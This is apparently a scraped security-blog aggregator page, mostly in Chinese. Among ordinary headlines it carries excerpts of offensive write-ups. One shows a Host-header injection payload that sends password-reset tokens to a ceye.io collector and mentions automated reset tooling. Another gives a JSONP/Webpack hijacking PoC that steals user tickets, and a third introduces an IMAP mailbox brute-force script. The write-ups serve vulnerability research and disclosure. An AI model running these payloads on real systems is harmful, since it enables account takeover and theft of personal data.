Aggregator
Streaming and Security: In Conversation With Smita Aeron
2020 后区块链世界及安全的一些思考
Black Friday, Cyber Monday and the Seasonal E-Commerce Onslaught
Windows dll注入 - luoyesiqiu
Research Reveals Americans’ Perceptions of Device Security Amidst CES 2020
From the Lifx Switch smart switch to the Charmin RollBot to Kohler Setra Alexa-connected faucets, CES 2020 has introduced new...
The post Research Reveals Americans’ Perceptions of Device Security Amidst CES 2020 appeared first on McAfee Blog.
【转载】PHP 实现 Base64 编码/解码
【0day】不一样的密码重置漏洞(以U█P教务系统为例)
由于██大学直接选择的是著名的U█P系统作为教务系统,因此这是个通用型的漏洞,理论上通杀各类U█P系统。
但对于该漏洞的利用需要受害者的交互还会在邮箱中留下记录,出了事一查一个准,因此妄想通过该漏洞拿到老师账号改成绩是不现实的。 0x01 背景:HOST头不可信 在编写WEB应用的时候,程序员往往不会直接把网站的host硬编码到代码中,而是通过动态手段获取(如$_SERVER['HTTP_HOST'])。 但是问题在于这个HOST并不是WEB应用自己带的,而是用户提供的!下面举个小例子来证明这一点。 看看以下代码 <?php var_dump($_SERVER['HTTP_HOST']); ?> 我们可以直接访问来测试它 获取如下结果
再用localhost.fbi.gov来访问(localhost.fbi.gov指向了127.0.0.1)
获取到的HOST就变成了localhost.fbi.gov
我们可以看到,这个HTTP_HOST是从用户提交的HOST头中获取的,因此是不可信的
所以,攻击者可以通过污染HOST头让服务器做出一些设计者意想不到的事情。
0x02 漏洞发现 首先我们注意到,██大学教务系统在使用IP或者域名访问来请求重置密码的时候,链接的HOST不一样 这是用IP访问的时候
这是用域名访问的时候
我们可以猜测,这个链接的开头是由HOST头动态拼接的,因此或许可以利用这一点来实现攻击,但是在我初次尝试的时候遇到了一点挫折
服务器拒绝了我提供的HOST头,直白的host deny不留一丝情面 但是只需要略施小计就会发现只要我们提供的HOST头里面包含了合法的HOST就能够通过它的认证
现在我们可以通过替换这个HOST头实施攻击了 首先在BurpSuite中做出如下替换
接着再申请找回密码,密码重置邮件就变成这样了
可以看到,攻击者可以构造特殊的链接,让受害者点击链接之后把重置token送到攻击者的服务器上 0x03 杀伤性提升 尽管看起来很有用,但我相信任何智力正常的用户都不会点击一个莫名其妙的链接,所以我们需要改进我们的payload来提高杀伤性。 众所周知,邮箱可以加载图片,如果我们想办法让邮箱自动加载图片,那岂不是可以在用户点开邮件的瞬间获取其重置token? 抱着这样的想法,首先查看了邮件中的html代码并整理如下 <br><a href='http://[inject]/forgetPassword/modifyPassword?sid=[sid]&id=[id]'> http://[inject]/forgetPassword/modifyPassword??sid=[sid]&id=[id]</a> <br> 其中[inject]是我们的HOST头,是我们可控的部分
不难构造出html代码'></a><img src='http://[ceye子域名].ceye.io/[IP地址]:80/ 来让html变成这样
(由于[inject]在两个地方,笔者实在无法构造更完美的代码) <br><a href='http://'></a><img src='http://[ceye子域名].ceye.io/[ip地址]:80//forgetPassword/modifyPassword?sid=[sid]&id=[id]'> http://'></a><img src='http://[ceye子域名].ceye.io/[ip地址]:80//forgetPassword/modifyPassword??sid=[sid]&id=[id]</a> <br> 我们来抓包改HOST测试下
发现这成功让QQ邮箱将这部分视为图片并尝试加载
接下来我们可以看到ceye接收到结果
至此我们已经成功减少了交互的复杂性,提升了该漏洞的杀伤能力
0x04 武器化 对于这类漏洞,必须要有一个server来接受参数,因此编写利用代码是很重要的。 我用Flask构建了一个简单的脚本,它能够开一个服务接收sid和id并自动化重置密码
同时返回图片降低受害者警惕,代码已经放在这里,可以参考使用
0x05 如何修复漏洞 把host是否合法的判断由包含换成等于
Awesome Essence 逻辑的人生
Is the Cloud Safe? Part 3: How to Make it Safe
利用SourceMap还原网站原始代码(前端)
作者:key
说明现在越来越多网站使用前后端分离技术,利用Webpack技术将JS类拓展语言进行打包,当然很多都是配套使用,例如Vue(前端Javascript框架)+Webpack技术;
这种技术也在普及,并且转向常态化,对渗透测试人员来说极其不友好:
1.增加了前端代码阅读的时间(可读性很差) 2.由原因1间接造成了前端漏洞的审计困难性
但是也具备一定的好处:
1.采用这种模式,后端接口将完全暴露在JS文件中
除此之外,如果生成了Source Map文件可以利用该文件还原网站原始前端代码(关于技术名词的具体含义请自行查询百科)
主流浏览器都自带解析Source Map文件功能(开发者工具-Sources【火狐下是调试器】):
展开可以看见具体文件和代码:
但是文件过多的情况下,单个查看繁琐,不便于搜索(浏览器的开发者工具支持全局文件搜索,但搜索速度较慢),使用restore-source-tree可以解决这一问题。
restore-source-tree 安装原作者的有BUG,使用国外友人修复后的版本:https://github.com/laysent/restore-source-tree,安装步骤如下:
git clone https://github.com/laysent/restore-source-tree cd restore-source-tree sudo npm install -g Source Map文件还原在这类JS文件下通常会有一个注释:
map文件就是js文件所在目录下,拼接URL即可访问,将其下载下来:
wget http://hostname/static/js/app.fedfe85b2fdd8cf29dc7.js.map
restore-source-tree进行还原:
# -o 参数是指定输出目录,若不适用则为默认的output目录 restore-source-tree app.fedfe85b2fdd8cf29dc7.js.map成功获得原代码:
Referencehttps://yukaii.tw/blog/2017/02/21/restore-source-code-from-sourcemap-file/
[XSSI]动态JS劫持用户信息
Webpack+JSONP劫持
作者:key
注:本文已对敏感信息脱敏化,如有雷同纯属巧合。
前言在做测试的时候发现一个请求:
POST /user/getUserInfo HTTP/1.1 Host: xxxxx Cookie: xxxx ticket=xxxxx其对应返回的信息包含了我本身用户的敏感信息:手机号、姓名、邮箱…
通过BurpSuite的插件Logger++搜索发现该ticket值居然出现在了JS文件中:
确定漏洞通过测试我发现以上所述请求中的Cookie为无效请求头,后端不对齐校验,但对ticket校验,也就说明此处的ticket代表了获取用户信息的关键参数,换种说法:当你知道用户的ticket参数即可获取该用户信息。
判断JS动静态当我在Logger++插件搜索到ticket值存在JS文件内容时,我的第一想法就是这个JS文件为动态类型,其文件内容跟随用户凭证字段的变化而变化。
测试:删除Cookie字段,结果:ticket参数值消失,由此可以判断该JS内容为动态类型。
再尝试将测试账户A的Cookie字段内容替换为测试账户B的Cookie字段内容,结果:ticket参数值变为测试账户B用户的对应值,由此可以判断该JS文件路径是固定的,并不是动态路径。
Webpack+JSONP劫持已知JS文件路径为:https://website/app.xxxxx.js
查看其文件内容发现其被Webpack打包过:
那么我们想要劫持这个JS文件内容其实就可以使用JSONP的PoC代码(因为这段JS文件内容就是自定义函数+传入参数):
<script> function webpackJsonp(data) { alert(data) } </script> <script src="https://website/app.xxxxx.js"></script>但这样得不到我们想要的ticket值,简单的看了下JS代码,这段JS代码内容的格式是这样的:
webpackJsonp 函数传入两个参数:第一个参数毫无用处,第二个参数传入的值包含了我们想要的ticket值。
那以上代码就可以这样修改:
<script> function webpackJsonp(data, data1) { alert(data1) } </script> <script src="https://website/app.xxxxx.js"></script>但我们还是没得到我们想要的信息:
因为第二段参数传入的值还需要进行解析,我发现这段值内容就是一段JSON对象,而对象的每个属性都在定义一个函数:
寻找ticket所在函数位置,发现其在jbTV: function...内,知道了所在函数位置,PoC代码只需要这样进行构建:
<script> function webpackJsonp(data, data1) { alert(data1['jbTV']) } </script> <script src="https://website/app.xxxxx.js"></script>访问,成功获取:
后面只需要稍微的加个正则就可以了~
攻击方式用户登录状态,访问该漏洞页面,触发即可获取到ticket值,将该值带入以上所列请求中即可越权获取用户信息
结尾心细一点,漏洞就在眼前,
我眼中的数据安全治理
日志分析系列(二):平台实现篇
使用 MySQL FIELD() 函数自定义排序规则
cgroups internals
一个安全工程师的2019
Build Your Immunity Across All App-Security Insertion Points
企业邮箱爆破脚本
IMAP(Internet Mail Access Protocol)以前称作交互邮件访问协议(Interactive Mail Access Protocol),是一个应用层协议。IMAP是斯坦福大学在1986年开发的一种邮件获取协议。它的主要作用是邮件客户端可以通过这种协议从邮件服务器上获取邮件的信息,下载邮件等。当前的权威定义是RFC3501。IMAP协议运行在TCP/IP协议之上,使用的端口是143。它与POP3协议的主要区别是用户可以不用把所有的邮件全部下载,可以通过客户端直接对服务器上的邮件进行操作。----来源于百度百科
目前知名企业邮箱(如腾讯企业邮箱)均支持该协议,许多人喜欢用邮件客户端或者手机收发邮件,则大多数会选择开启该服务。在大多数情况下适用。(文末有脚本下载地址)。
该脚本使用Python开发,2和3版本均可运行。